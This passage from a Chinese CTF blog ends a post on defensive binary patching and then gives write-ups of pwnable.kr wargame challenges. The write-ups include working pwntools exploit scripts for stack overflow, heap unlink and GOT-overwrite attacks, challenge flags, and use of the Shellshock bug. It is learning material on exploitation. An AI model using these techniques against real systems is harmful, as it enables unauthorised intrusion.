</p><p>增加代码,gets改成read,没有read可以通过系统调用的形式。</p><p>增加栈空间 sub rsp,xxxx</p><p>增加代码,过滤不可见字符:</p><ul><li>如果要跳转到库函数,call它的plt地址即可</li></ul><p><strong>容易造成栈溢出的函数</strong></p><pre><code>void * memcpy ( void * destination, const void * source, size_t num );char * strcpy ( char * destination, const char * source );char * strncpy ( char * destination, const char * source, size_t num );char * gets(char*str);ssize_t read(int fd, void *buf, size_t count);size_t fread ( void * ptr, size_t size, size_t count, FILE * stream );char * fgets ( char * str, int num, FILE * stream );char * strcat ( char * destination, const char * source );scanf(“%s”, &s);</code></pre><h4 id="堆溢出"><a href="#堆溢出" class="headerlink" title="堆溢出"></a>堆溢出</h4><p>改读的字节数 </p><p>增加代码,gets改成read,没有read可以通过系统调用的形式。</p><p>增加malloc申请的空间</p><p>增加代码,过滤不可见字符</p><h4 id="off-by-one-null"><a href="#off-by-one-null" class="headerlink" title="off by one/null"></a>off by one/null</h4><p>改读的字节数 </p><h4 id="整数溢出"><a href="#整数溢出" class="headerlink" title="整数溢出"></a>整数溢出</h4><p>有符号跳转改为无符号。</p><pre><code>无符号跳转:JA ;无符号大于则跳转JNA ;无符号不大于则跳转JAE ;无符号大于等于则跳转 同JNBJNAE ;无符号不大于等于则跳转 同JBJB ;无符号小于则跳转JNB ;无符号不小于则跳转JBE ;无符号小于等于则跳转 同JNAJNBE ;无符号不小于等于则跳转 同JA有符号跳转:JG ;有符号大于则跳转JNG ;有符号不大于则跳转JGE ;有符号大于等于则跳转 同JNLJNGE ;有符号不大于等于则跳转 同JLJL ;有符号小于则跳转JNL ;有符号不小于则跳转JLE ;有符号小于等于则跳转 同JNGJNLE ;有符号不小于等于则跳转 同JG</code></pre><h4 id="数组越界"><a href="#数组越界" class="headerlink" title="数组越界"></a>数组越界</h4><p>有符号跳转改为无符号</p><p>增加代码,判断index大小</p><h4 id="格式化字符串"><a href="#格式化字符串" class="headerlink" title="格式化字符串"></a>格式化字符串</h4><p>程序里有puts的话把call printf改成call puts</p><p>增加代码,添加合适的参数,将printf(xxx)改为printf(“%s”,xxxxx) </p><p>增加代码,把printf改成write,没有write可以通过系统调用的形式。</p><p><strong>容易造成格式化字符串漏洞的函数</strong>:</p><pre><code>int printf ( const char * format, ... );int fprintf ( FILE * stream, const char * format, ... );int sprintf ( char * str, const char * format, ... );</code></pre><h4 id="条件竞争"><a href="#条件竞争" class="headerlink" title="条件竞争"></a>条件竞争</h4><p>把sleep等消耗时间的函数nop掉</p><p>增加代码,加锁(麻烦)</p><h4 id="命令执行"><a href="#命令执行" class="headerlink" title="命令执行"></a>命令执行</h4><p>把命令执行函数nop掉</p><p><strong>容易造成命令执行的函数</strong>:</p><pre><code>FILE *popen(const char *command, const char *type);int system(const char *command);int execve(const char *pathname, char *const argv[], char *const envp[]);int execl(const char *path, const char *arg, ...);int execlp(const char *file, const char *arg, ...);int execle(const char *path, const char *arg, char * const envp[]);int execv(const char *path, char *const argv[]);int execvp(const char *file, char *const argv[]);int execvpe(const char *file, char *const argv[], char *const envp[]);int execveat(int dirfd, const char *pathname, char *const argv[], char *const envp[], int flags);</code></pre><h4 id="不太优雅的方法"><a href="#不太优雅的方法" class="headerlink" title="不太优雅的方法"></a>不太优雅的方法</h4><p>nop 掉 free </p><p>把free的plt表改成ret</p><p>nop 掉 malloc </p><p>增加代码,在读的字节中过滤一些特殊的字符 </p><p>打乱got表 </p><h4 id="tips"><a href="#tips" class="headerlink" title="tips"></a>tips</h4><p>随机应变,一切需要加逻辑的patch都可以把代码放<code>.eh_frame</code>段里。</p><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="http://p4nda.top/2018/07/02/patch-in-pwn/">http://p4nda.top/2018/07/02/patch-in-pwn/</a></p><p><a href="https://tianstcht.github.io/pwn%E9%87%8C%E7%9A%84%E4%B8%80%E4%BA%9Bpatch%E5%BF%83%E5%BE%97/">https://tianstcht.github.io/pwn里的一些patch心得/</a></p>]]></content>
<tags>
<tag> TOOL </tag>
</tags>
</entry>
<entry>
<title>pwnable wp</title>
<link href="pwnable-wp/"/>
<url>pwnable-wp/</url>
<content type="html"><![CDATA[<h3 id="fd"><a href="#fd" class="headerlink" title="fd"></a>fd</h3><p>fd是文件描述符,fd=0为标准输入</p><p>ssize_t read(int fd,void *buf,size_t nbyte)</p><p>read函数从fd中读取内容到buf。</p><h3 id="col"><a href="#col" class="headerlink" title="col"></a>col</h3><p>构造命令行参数</p><pre><code class="python">from pwn import *pwn_ssh = ssh(host='pwnable.kr',user='col',password='guest',port=2222)code = '\xE8\x05\xD9\x1D'+'\x01'*16cn = pwn_ssh.process(argv=['col',code],executable='./col')print(cn.recv())</code></pre><h3 id="bof"><a href="#bof" class="headerlink" title="bof"></a>bof</h3><p>通过栈溢出重写func函数的参数,需要覆盖的参数和gets接受的参数相差13字节:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190629172154.png"></p><p>脚本:</p><pre><code class="python">from pwn import *debug=0context(arch = 'i386', os = 'linux')if debug: client=process("/home/apple/calc/test/bof.dms")else: client=remote("pwnable.kr",9000)#print client.recvuntil("overflow me :")context=""context+=p32(0xdeadbeef)*13context+=p32(0xcafebabe)client.sendline(context) client.interactive()pause()</code></pre><h3 id="flag"><a href="#flag" class="headerlink" title="flag"></a>flag</h3><p>看了半天不知道是咋回事,上网查了wp才知道是upx加壳</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190629201702.png"></p><p>脱壳</p><pre><code class="bash">//安装upxsudo apt-get install upx//脱壳upx -d flag.dms</code></pre><p>运行脱壳后的程序,flag就在main函数里</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190629195636.png"></p><h3 id="random"><a href="#random" class="headerlink" title="random"></a>random</h3><pre><code class="c">//源代码#include <stdio.h>int main(){ unsigned int random; random = rand(); // random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\n"); system("/bin/cat flag"); return 0; } printf("Wrong, maybe you should try 2^32 cases.\n"); return 0;}</code></pre><p>就是猜这个随机数是什么呗,c的随机数其实是伪随机数,所以就写个小程序跑一下看 rand() 输出是啥,然后跟0xdeadbeef异或一下。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190704024030.png"></p><pre><code class="bash">//flagrandom@prowl:~$ ./random3039230856Good!Mommy, I thought libc random is unpredictable...</code></pre><h3 id="unlink"><a href="#unlink" class="headerlink" title="unlink"></a>unlink</h3><blockquote><p>这周的期末考试刚考了unlink,所以看着这个眼熟就先拿来做做:)</p></blockquote><pre><code class="c">#include <stdio.h>#include <stdlib.h>#include <string.h>typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8];}OBJ;void shell(){ system("/bin/sh");}void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD;}int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf); // exploit this unlink! unlink(B); return 0;}</code></pre><h4 id="目测"><a href="#目测" class="headerlink" title="目测"></a>目测</h4><p>题目构造了一个叫tagOBJ的数据结构和一个叫unlink的函数,还有一个叫shell()的函数用来获取sh权限。</p><p>漏洞点在于gets函数,可以通过构造gets的值,使得A溢出,覆写B、C的内容为特定值,unlink后运行shell()函数。</p><h4 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h4><p>咋构造呢</p><p>1.首先因为gets的是A->buf,所以只能覆写B、C的fd、bk,不能覆写A的。</p><p>2.然后再看看什么函数能被利用,没找到got表里的函数,看来只能利用return了</p><p>3.然后一句句看这个unlink函数</p><p>BK=P->bk;</p><p>所以要构造B的偏移4字节的位置为shell()函数的地址</p><p>FD=P->fd;</p><p>所以B的偏移0字节的位置为return的地址-4</p><p>FD->bk=BK;<br>return的地址处的内容改为shell()的地址</p><h4 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h4><p>首先找到main函数返回地址为0xffffd00c</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190703183450.png"></p><p>shell函数的地址位于0x080484eb</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190703202008.png"></p><p>运行过程中感觉内存分配跟我算的不太一样,于是一步步看内存分配</p><p>第一次malloc</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190630123353.png"></p><p>malloc A</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190630124618.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190630130430.png"></p><p>malloc B</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190704015758.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190630130645.png"></p><p>malloc C</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190630130727.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190630130759.png"></p><p>A <-> B <-> C链接完成后</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190630144434.png"></p><p>gets()完后</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190630144304.png"></p><p>所以因为内存对齐,buf并非占8个字节,而是16字节。</p><h5 id="脚本0-0"><a href="#脚本0-0" class="headerlink" title="脚本0.0"></a>脚本0.0</h5><pre><code class="python">from pwn import *debug=1context(arch = 'i386', os = 'linux')context.log_level = 'debug'if debug: client=process("./unlink")else: client = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222).process("./unlink")bin = ELF('./unlink')context=""context+="11111111"*2context+=p32(0xffffd00c-4) #栈中的main返回地址-4context+=p32(0x080484f1) #shell()地址client.sendline(context)client.interactive()pause()</code></pre><p>然而不行</p><h4 id="借鉴"><a href="#借鉴" class="headerlink" title="借鉴"></a>借鉴</h4><p>自己怎么想都感觉思路没问题,但是看了网上的wp才知道自己完全跑偏了。</p><p>首先,栈地址和堆地址都是随机的(可是gdb每次跑出来的都是一样的,给我一种它不会变的错觉),所以要通过偏移来算真正的地址(这就是题目里两句printf的作用,泄露了堆栈地址)。</p><p>其次,leave和return之间有一句 <code>lea esp , [ecx - 4]</code>,而ecx是从leave上面那句 <code>mov ecx , dword ptr [ebp - 4] </code>来的</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190703212831.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190704015931.png"></p><p>然后return</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190704020012.png"></p><p>A的栈地址是0xffffcfe4</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190703205144.png"></p><p>和ebp-4相差16</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190703214140.png"></p><h5 id="脚本1-0"><a href="#脚本1-0" class="headerlink" title="脚本1.0"></a>脚本1.0</h5><p>因为经过了一层ecx,所以应该为shell()的地址找一个存放它的地方,网上的wp是存在A里的,我就存在B里试试。</p><pre><code class="python">from pwn import *debug=1context(arch = 'i386', os = 'linux')#context.log_level = 'debug'if debug: client=process("./unlink")else: client = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222).process("./unlink")#gdb.attach(client)client.recvuntil("here is stack address leak: ");stack =int( client.recv(10),16);client.recvuntil("here is heap address leak: ");heap = int(client.recv(10),16);context=""context+="1111"*4context+=p32(stack+16-4)context+=p32(heap+8+24+4)context+=p32(0x080484eb) #shell() addressprint(context)client.sendline(context)client.interactive()pause()</code></pre><p>一口气写完,居然就跑通了)</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190704021255.png"></p><pre><code class="bash">//flagconditional_write_what_where_from_unl1nk_explo1t</code></pre><p>现在回头看看第一版脚本,真是,幼稚又朴素啊。</p><h4 id="思路1-1"><a href="#思路1-1" class="headerlink" title="思路1.1"></a>思路1.1</h4><p>做完之后在想我可不可以不借助堆,直接一步到位把shell地址填进去呢</p><p>调试后发现不行,错误出现在 unlink() 的 <code>BK->fd=FD;</code>,也就是说 shell() 所在的地址段是不可写的,所以程序运行不下去了。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190703230330.png"></p><p>看一下map,果然是不可写的。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190703230640.png"></p><h4 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h4><p>做完之后在思考一个很傻的问题,代码存的时候是按ABC的顺序存的,但是为什么栈里的却是ACB?嗯?是因为什么奇怪的编译吗?为什么啊</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190703221309.png"></p><p>自己编译一遍试验一下,ABC却乖乖地排排队进栈了。</p><pre><code class="bash">gcc -m32 unlink_test.c -o unlink_test</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190704020044.png"></p><h4 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h4><p>期末考试虽然考了unlink,自己也感觉懂了其中的原理,但做起题来才感觉自己简直,对不住徐老师给的分,堆栈是随机分配的、内存对齐这些点都要注意,感觉自己缺了好多好多好多知识,哎,加油。</p><p>还有就是做这道题的两天里,我的ubuntu莫名崩了而且崩得稀碎,开机都开不起来了,于是从github重新上下载了一个,五颜六色的,比我之前自己配的那个还好看,算是塞翁失马。</p><h3 id="passcode"><a href="#passcode" class="headerlink" title="passcode"></a>passcode</h3><pre><code class="c">//源代码# include <stdio.h># include <stdlib.h>void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); }}void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name);}int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }</code></pre><h4 id="目测-1"><a href="#目测-1" class="headerlink" title="目测"></a>目测</h4><p>漏洞点在login函数里的两处scanf,这两处scanf都没有取参数地址。</p><h4 id="思路-1"><a href="#思路-1" class="headerlink" title="思路"></a>思路</h4><p>通过welcome函数里的scanf,在login函数的passcode1位置写入exit/fflush/任意一个用到的函数的got表的值,然后通过scanf将其覆写为/bin/cat flag的地址。</p><h4 id="实现-1"><a href="#实现-1" class="headerlink" title="实现"></a>实现</h4><p>/bin/cat flag的地址:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190629212105.png"></p><p>got表,打算利用最近的fflush函数,地址为0x0804a004:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190629212429.png"></p><p>定位password1的位置,位于welcome的name里第96字节处。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190629214400.png"></p><h4 id="脚本1-0-1"><a href="#脚本1-0-1" class="headerlink" title="脚本1.0"></a>脚本1.0</h4><p>根据以上思路构造以下脚本:</p><pre><code class="python">from pwn import *debug=1context(arch = 'i386', os = 'linux')context.log_level = 'debug'if debug: client=process("/home/apple/calc/test/passcode")else: client = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222).process("./passcode")print client.recvuntil("Toddler's Secure Login System 1.0 beta.\n")#print client.recvuntil("enter you name : ")context=""context+="11111111"*12context+=p32(0x0804a004)client.sendline(context) #print client.recvuntil("enter passcode1 : \n")context=""context+=client.sendline(context)#print client.recvuntil("enter passcode2 : \n")client.interactive()pause()</code></pre><p>就是跑不通,一度以为是参数没传进去:(</p><h4 id="借鉴-1"><a href="#借鉴-1" class="headerlink" title="借鉴"></a>借鉴</h4><p>在网上找了别人的wp,才发现关键在于passcode1是int类型,所以把passcode改为10进制才行。</p><h4 id="脚本1-1"><a href="#脚本1-1" class="headerlink" title="脚本1.1"></a>脚本1.1</h4><pre><code class="python">from pwn import *debug=0context(arch = 'i386', os = 'linux')context.log_level = 'debug'if debug: client=process("/home/apple/calc/test/passcode")else: client = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222).process("./passcode")print client.recvuntil("Toddler's Secure Login System 1.0 beta.\n")#print client.recvuntil("enter you name : ")context=""context+="11111111"*12context+=p32(0x0804a004)client.sendline(context) #print client.recvuntil("enter passcode1 : \n")context="134514147"client.sendline(context)#print client.recvuntil("enter passcode2 : \n")client.interactive()pause()</code></pre><p>成功!</p><pre><code class="c">//flagSorry mom.. I got confused about scanf usage :(</code></pre><h4 id="改进"><a href="#改进" class="headerlink" title="改进"></a>改进</h4><p>看别人的wp学到一种新操作,不用手查got表了</p><pre><code class="python">bin = ELF('./passcode')cn.sendline('a'*96+p32(bin.got['fflush']))</code></pre><h4 id="脚本1-2"><a href="#脚本1-2" class="headerlink" title="脚本1.2"></a>脚本1.2</h4><pre><code class="python">from pwn import *debug=0context(arch = 'i386', os = 'linux')context.log_level = 'debug'if debug: client=process("/home/apple/calc/test/passcode")else: client = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222).process("./passcode")print client.recvuntil("Toddler's Secure Login System 1.0 beta.\n")#print client.recvuntil("enter you name : ")bin = ELF('./passcode')context=""context+="11111111"*12context+=p32(bin.got['fflush'])client.sendline(context)#print client.recvuntil("enter passcode1 : \n")context="134514147"client.sendline(context)client.interactive()pause()</code></pre><h4 id="思路2-0"><a href="#思路2-0" class="headerlink" title="思路2.0"></a>思路2.0</h4><p>本题有两处没有取参数地址的scanf,虽然只利用了第一处就可以把题目做出来了,但是出题人原本的意思可能是想让做题人将两个passcode都改为正确的值,然后成功通过判断语句拿到flag。</p><p>仔细算了一下,name位于ebp-0x70,而password1位于ebp-0x10:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190630005727.png"></p><p>password2位于ebp-0xc:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190630012522.png"></p><p>name有100(0x64)字节长,正好覆盖password1而覆盖不到password2。</p><p>所以俩scanf都用起来可能不太现实。</p><h4 id="问题-1"><a href="#问题-1" class="headerlink" title="问题"></a>问题</h4><p>不知道为什么脚本接受不到”enter you name : “以及之后的字符串,不过接受不到也不影响做题:)</p><h3 id="leg"><a href="#leg" class="headerlink" title="leg"></a>leg</h3><pre><code class="c">//源代码#include <stdio.h>#include <fcntl.h>int key1(){ asm("mov r3, pc\n");}int key2(){ asm( "push {r6}\n" "add r6, pc, $1\n" "bx r6\n" ".code 16\n" "mov r3, pc\n" "add r3, $0x4\n" "push {r3}\n" "pop {pc}\n" ".code 32\n" "pop {r6}\n" );}int key3(){ asm("mov r3, lr\n");}int main(){ int key=0; printf("Daddy has very strong arm! : "); scanf("%d", &key); if( (key1()+key2()+key3()) == key ){ printf("Congratz!\n"); int fd = open("flag", O_RDONLY); char buf[100]; int r = read(fd, buf, 100); write(0, buf, r); } else{ printf("I have strong leg :P\n"); } return 0;}</code></pre><pre><code class="c">(gdb) disass mainDump of assembler code for function main: 0x00008d3c <+0>: push {r4, r11, lr} 0x00008d40 <+4>: add r11, sp, #8 0x00008d44 <+8>: sub sp, sp, #12 0x00008d48 <+12>: mov r3, #0 0x00008d4c <+16>: str r3, [r11, #-16] 0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132> 0x00008d54 <+24>: bl 0xfb6c <printf> 0x00008d58 <+28>: sub r3, r11, #16 0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136> 0x00008d60 <+36>: mov r1, r3 0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf> 0x00008d68 <+44>: bl 0x8cd4 <key1> 0x00008d6c <+48>: mov r4, r0 0x00008d70 <+52>: bl 0x8cf0 <key2> 0x00008d74 <+56>: mov r3, r0 0x00008d78 <+60>: add r4, r4, r3 0x00008d7c <+64>: bl 0x8d20 <key3> 0x00008d80 <+68>: mov r3, r0 0x00008d84 <+72>: add r2, r4, r3 0x00008d88 <+76>: ldr r3, [r11, #-16] 0x00008d8c <+80>: cmp r2, r3 0x00008d90 <+84>: bne 0x8da8 <main+108> 0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140> 0x00008d98 <+92>: bl 0x1050c <puts> 0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144> 0x00008da0 <+100>: bl 0xf89c <system> 0x00008da4 <+104>: b 0x8db0 <main+116> 0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148> 0x00008dac <+112>: bl 0x1050c <puts> 0x00008db0 <+116>: mov r3, #0 0x00008db4 <+120>: mov r0, r3 0x00008db8 <+124>: sub sp, r11, #8 0x00008dbc <+128>: pop {r4, r11, pc} 0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9 0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9 0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0 0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc 0x00008dd0 <+148>: andeq r10, r6, r4, asr #9End of assembler dump.(gdb) disass key1Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lrEnd of assembler dump.(gdb) disass key2Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lrEnd of assembler dump.(gdb) disass key3Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lrEnd of assembler dump.(gdb) </code></pre><h4 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h4><p>scp居然下载不下来,看来只能瞪眼看了。</p><p>题目让key的值最终等于key1() key2() key3()这仨函数的返回值之和</p><h5 id="key1"><a href="#key1" class="headerlink" title="key1"></a>key1</h5><p>(ARM用r0传递返回值,pc指向当前指令(正在执行)+2*(指令长度)处)</p><p>返回值r0来自于r3</p><p>r3的值来自于pc</p><p>寄存器pc(r15)在arm状态下(指令长度为4,RISC等长指令集),总是指向当前指令(正在执行)+2*(指令长度)处,这里执行了0x00008cdc后,r3为0x00008ce4。</p><h5 id="key2"><a href="#key2" class="headerlink" title="key2"></a>key2</h5><p>(指令最后一位用于做标志位,bx跳转时if地址最后一位是0->arm状态(4字节指令),1->thumb状态(2字节指令))</p><p>r0来自于r3</p><p>r3 = pc(0x00008d08)+2*2=0x00008d0c</p><p>注意:</p><ol><li>key2+8处程序一开始保存了r6,则说明r6会被后面的指令用到。</li><li>key2+12处r6变为0x00008d05。</li><li>key2+16处bx跳转到key+20(指令地址会先和0xFFFFFFFE进行按位与,因为最后一位肯定是0,因此最后一位用于做标志位,bx执行时如果地址最后一位是0,表示跳到arm状态,1则跳到thumb态),因为地址最低位是1,所以切换为thumb状态。(thumb状态每条指令是2字节长,arm状态每条指令是4字节长)。</li><li>最后把r3给r0作为返回值,也就是0x00008d0c。此后通过bx跳回main(此前bl指令将pc-4存在lr中)时,状态又换为arm。</li></ol><h5 id="key3"><a href="#key3" class="headerlink" title="key3"></a>key3</h5><p>(LR保存调用函数时PC下一次要执行的地址)</p><p>r0来自于r3</p><p>r3 来自于lr</p><p>此处lr是<code>0x00008d7c <+64>: bl 0x8d20 <key3></code>处pc-4的地址0x00008d80</p><p>注意:</p><p>ARM是三级流水线的:取指,译码,执行。</p><p>ARM的R15(PC)总是指向取指的地方(不过分析时我们总是以执行作为分析参考点)。</p><p>而LR指向PC下一次要执行的地址</p><blockquote><p>LR is <a href="http://en.wikipedia.org/wiki/Link_register">link register</a> used to hold the return address for a function call.</p></blockquote><p>PC和LR关系如下图所示</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190719113055.png"></p><h5 id="key"><a href="#key" class="headerlink" title="key"></a>key</h5><p>0x00008d80+0x00008d0c+0x00008ce4=108400</p><h4 id="学习"><a href="#学习" class="headerlink" title="学习"></a>学习</h4><p>X86是复杂指令集(CISC)的代表,而ARM则是精简指令集(RISC)的代表</p><p>平时一般用的都是X86</p><p>但这些背是背不过了,还是考察搜索引擎的使用呗。</p><h3 id="shellshock"><a href="#shellshock" class="headerlink" title="shellshock"></a>shellshock</h3><pre><code class="c">//源代码#include <stdio.h>int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0;}</code></pre><p>题目里写着</p><blockquote><p>Mommy, there was a shocking news about bash.<br>I bet you already know, but lets just make it sure :)</p></blockquote><p>那你可赌输了:)</p><h4 id="查资料"><a href="#查资料" class="headerlink" title="查资料"></a>查资料</h4><p>搜到一篇写得特别好玩的shellshock原理</p><h4 id="做题"><a href="#做题" class="headerlink" title="做题"></a>做题</h4><p>目录里有个bash,是要攻击的对象(做了半天才意识到这一点)</p><p>查看该bash的版本,正好是有漏洞的4.2版本</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190704224155.png"></p><p>尝试一下,发现存在任意代码执行漏洞</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190704225446.png"></p><p>执行cat flag,拿到flag</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190704225356.png"></p><pre><code class="bash">//flagonly if I knew CVE-2014-6271 ten years ago..!!</code></pre><p>不过说实话,拿到flag后我也不知道这个flag是怎么拿到的。</p><p>在网上搜了一下suid euid ruid的知识,没找到写得明明白白的。</p><p>我理解的就是,如果这个文件的权限用s替代x的话,那么其他用户就可以 通过set suid的方式来获取该文件所有者的权限 / 通过set sgid的方式来获取该文件所在组的权限,并用获取的权限来执行文件。</p><p>对于本题来说,查看一下文件的权限,可以看到文件shellshock所在组的权限里有s。</p><!-- 此处附上ls -l各列含义表 --><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190705000101.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190705000655.png"></p><p>然后回看代码</p><pre><code class="c">setresuid(getegid(), getegid(), getegid());setresgid(getegid(), getegid(), getegid());</code></pre><p>程序把该进程的ruid、euid、suid统统设成了getegid()也就是shellshock_pwn这个组的id,</p><p>而shellshock_pwn这个组对flag有read权限。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190705002540.png"></p><h4 id="问题-2"><a href="#问题-2" class="headerlink" title="问题"></a>问题</h4><p>按理说env和export应该都可以用来定义export的环境变量,但是实际上env并不可以</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190704224918.png"></p><h3 id="input"><a href="#input" class="headerlink" title="input"></a>input</h3><p>闯过五关即可拿到flag,五关分别为命令行参数、IO重定向、环境变量、文件读写、socket通信,学到了一些pwntools的操作。</p><pre><code class="python">process(argv=a,env=e,executable='/home/giantbranch/Q1IQ/pwnable/input',stdin=f,stderr=f1)#argv是元组,env是字典,不写executable的话会打开argv[0],stdin和stderr是文件描述符#其中a=['a',]e={"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"}f=open('./1.txt','r')</code></pre><h4 id="如何往pwnable的服务器上传文件"><a href="#如何往pwnable的服务器上传文件" class="headerlink" title="如何往pwnable的服务器上传文件"></a>如何往pwnable的服务器上传文件</h4><p>在pwnable服务器的/tmp里新建自己的文件夹</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191125022926.png"></p><p>传文件</p><pre><code class="bash">$ scp -P 2222 ./input.py [email protected]:/tmp/q1iq</code></pre><p>有了</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191125022944.png"></p><p>但是要cat flag,我自己建的文件夹里哪有flag啊</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191125023059.png"></p><p>所以要软链接一个过来</p><pre><code class="python">os.system("ln -s /home/input2/flag flag")</code></pre><p>可了</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191125023623.png"></p><h3 